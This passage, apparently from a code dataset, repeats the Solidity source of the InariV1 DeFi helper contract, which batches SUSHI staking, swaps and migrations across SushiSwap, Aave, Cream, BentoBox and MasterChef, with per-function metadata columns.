▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | sushiToCreamToBento | function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
| /// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
18116,
18644
]
} | 11,794 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | sushiFromCreamFromBento | function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
| /// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
18878,
19344
]
} | 11,795 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
